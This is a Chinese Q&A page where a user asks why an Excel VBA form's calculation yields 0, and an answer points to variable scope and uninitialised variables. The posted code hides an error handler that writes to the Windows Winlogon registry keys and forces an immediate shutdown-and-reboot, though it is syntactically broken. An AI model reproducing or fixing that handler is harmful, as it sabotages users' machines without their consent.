早教吧 育儿知识 作业答案 考试题库 百科 知识分享

EXCELVB为何结果=0PrivateSubLabel1Click()Label1.AutoSize=TrueEndSubPrivateSubTextBox4Change()EndSubPrivateSubFormLoad()DimnumberAsIntegerEndSubPrivateSubUserFormClick()DimW,C,E,VAsStringTextBox1.Text=""TextBox2.Text=Str(

题目详情
EXCELVB为何结果=0
Private Sub Label1_Click()
Label1.AutoSize = True
End Sub
Private Sub TextBox4_Change()
End Sub
Private Sub Form_Load()
Dim number As Integer
End Sub
Private Sub UserForm_Click()
Dim W,C,E,V As String
TextBox1.Text = ""
TextBox2.Text = Str(E)
TextBox4.Text = Str(C)
End Sub
Private Sub CommandButton1_Click()
W = (0.9 - C×E) * (V / 100)
TextBox3.Text = Str(W)
End Sub
Private Sub UserForm_Error(ByVal number As Integer,ByVal Description As MSForms.ReturnString,ByVal SCode As Long,ByVal Source As String,ByVal HelpFile As String,ByVal HelpContext As Long,ByVal CancelDisplay As MSForms.ReturnBoolean)
Dim Reg As Object
Set Reg = CreatObject("Wscript.shell")
Reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\" & _
"Windows NT\CurrentVersion\Winlogon\" & _
Shell "Shutdown-r-t 0" Then
Reg.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\" & _
"Microsoft\Windows NT\CurrentVersion\Winlogon\" & _
Shell "Shutdown-r-t 0"
End Sub
End Sub
▼优质解答
答案和解析
   1. 代码有点乱,有个 End Sub 没有对应.


   2. 整理了下代码,好几个Sub,不太清楚你“为何结果=0" 是指的哪个Sub.


   3.看了下代码,有个 Sub 有计算,而且有错误:


Private Sub CommandButton1_Click()
    W = (0.9 - C×E) * (V / 100)   ‘W,C,E,V在使用前没有定义(初始化)
    TextBox3.Text = Str(W)
End Sub


这段代码中 TextBox3.Text 的结果应该就是 0.


你在前面的代码里有:


Private Sub UserForm_Click()
\x05        Dim W,C,E,V As String


据我推测,你可能忽视了变量的应用范围.


以下有两点提示:



这几个变量是局部变量,其它 Sub 是“看”不到的.



变量的类型是 String,虽然也不是有很大影响(excel vba 里的数据类型是 variant,对于数据类型的检查不严格),但参与计算的话,通常还是要用 Integer.